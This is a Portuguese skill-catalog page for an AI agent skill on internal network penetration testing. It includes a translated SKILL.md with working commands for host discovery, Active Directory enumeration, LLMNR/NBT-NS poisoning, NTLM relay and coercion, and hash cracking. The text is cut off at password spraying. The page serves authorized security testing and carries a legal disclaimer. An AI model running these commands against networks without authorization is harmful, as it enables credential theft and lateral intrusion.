Pular para o conteúdo
Skillpedia
Segurança35 mil · #5576

conducting-internal-network-penetration-test

Faz seu agente simular um atacante dentro de uma rede corporativa. Ele busca caminhos para se mover pela rede, obter mais privilégios e encontrar dados sensíveis.

O que ela faz

Este agente simula um invasor que já está dentro da rede de uma empresa. Ele procura por caminhos para se mover para outros computadores, tentar conseguir privilégios mais altos e encontrar dados sensíveis.

Quando usar

  • ✓Para testar a segurança da rede interna.
  • ✓Após uma suspeita de invasão para ver o que um atacante poderia fazer.
  • ✓Para verificar se os sistemas de segurança estão funcionando corretamente.

Exemplo do que pedir para a IA

“Simule um teste de invasão na rede interna da empresa, começando de um computador comum.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/conducting-internal-network-penetration-test/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/conducting-internal-network-penetration-test/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

Ele usa ferramentas para descobrir computadores, senhas e vulnerabilidades na rede. O objetivo é encontrar o 'caminho' que um invasor usaria para causar o máximo de dano.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-internal-network-penetration-test

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/conducting-internal-network-penetration-test/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Teste de Penetração de Rede Interna

Visão Geral

Um teste de penetração de rede interna simula um atacante que já obteve acesso à rede interna ou um insider malicioso. O testador opera a partir de uma posição de "brecha assumida" — tipicamente uma estação de trabalho de domínio padrão ou um ponto de rede — e tenta movimento lateral, escalonamento de privilégios, coleta de credenciais e exfiltração de dados para determinar o raio de impacto de um endpoint comprometido.

Quando Usar

  • Ao realizar avaliações de segurança que envolvem testes de penetração de rede interna.
  • Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados.
  • Ao realizar atividades agendadas de testes de segurança ou auditoria.
  • Ao validar controles de segurança através de testes práticos.

Pré-requisitos

  • Regras de Engajamento assinadas com escopo de rede interna.
  • Acesso à rede: conexão física Ethernet ou conexão VPN para VLAN interna.
  • Credenciais de usuário de domínio padrão (modelo de brecha assumida) ou acesso não autenticado.
  • Laptop de teste com Kali Linux, Impacket, Responder, BloodHound.
  • Coordenação com TI/SOC para monitoramento e contatos de emergência.

Aviso Legal: Esta habilidade é apenas para fins de testes de segurança autorizados e educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fase 1 — Descoberta e Enumeração de Rede

Reconhecimento Inicial da Rede

# Identify your own network position
ip addr show
ip route show
cat /etc/resolv.conf

# ARP scan for live hosts on local subnet
arp-scan --localnet --interface eth0

# Nmap host discovery across internal ranges
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap

# Extract live hosts
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt

# Port scan live hosts — top 1000 ports
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan

# Service-specific scans
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap

Enumeração do Active Directory

# Enumerate domain information with domain credentials
# Using CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups

# LDAP enumeration
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf

# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa

# BloodHound data collection
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# Import JSON files into BloodHound GUI for attack path analysis

# Enum4linux-ng for legacy enumeration
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'

Enumeração de Serviços de Rede

# SMB share enumeration
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R

# SNMP enumeration
snmpwalk -v2c -c public 10.0.0.1

# DNS zone transfer attempt
dig axfr corp.local @10.0.0.5

# NFS enumeration
showmount -e 10.0.0.15

# MSSQL enumeration
impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-auth

Fase 2 — Ataques de Credenciais

Captura de Credenciais de Rede

# Responder — LLMNR/NBT-NS/mDNS poisoning
sudo responder -I eth0 -dwPv

# Capture NTLMv2 hashes from Responder logs
cat /usr/share/responder/logs/NTLMv2-*.txt

# mitm6 — IPv6 DNS takeover
sudo mitm6 -d corp.local

# ntlmrelayx — relay captured credentials
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks

# PetitPotam — coerce NTLM authentication
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
  attacker_ip 10.0.0.5

Ataques de Senha

# Quebrar hashes NTLMv2 capturados
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Password spraying (cuidado com políticas de bloqueio de conta)

…
Perguntas frequentes

O que é 'movimento lateral'?

É a capacidade de um invasor se mover de um computador para outro dentro da rede.

O que é 'escalada de privilégio'?

É quando um invasor tenta obter permissões maiores em um sistema, como se tornar um administrador.

Preciso ter permissão para usar isso?

Sim, este teste só pode ser feito em redes que você tem autorização explícita para testar.

Detalhes

Descrição original do autor

Execute an internal network penetration test simulating an insider threat or post-breach attacker to identify lateral movement paths, privilege escalation vectors, and sensitive data exposure within the corporate network.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5576
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas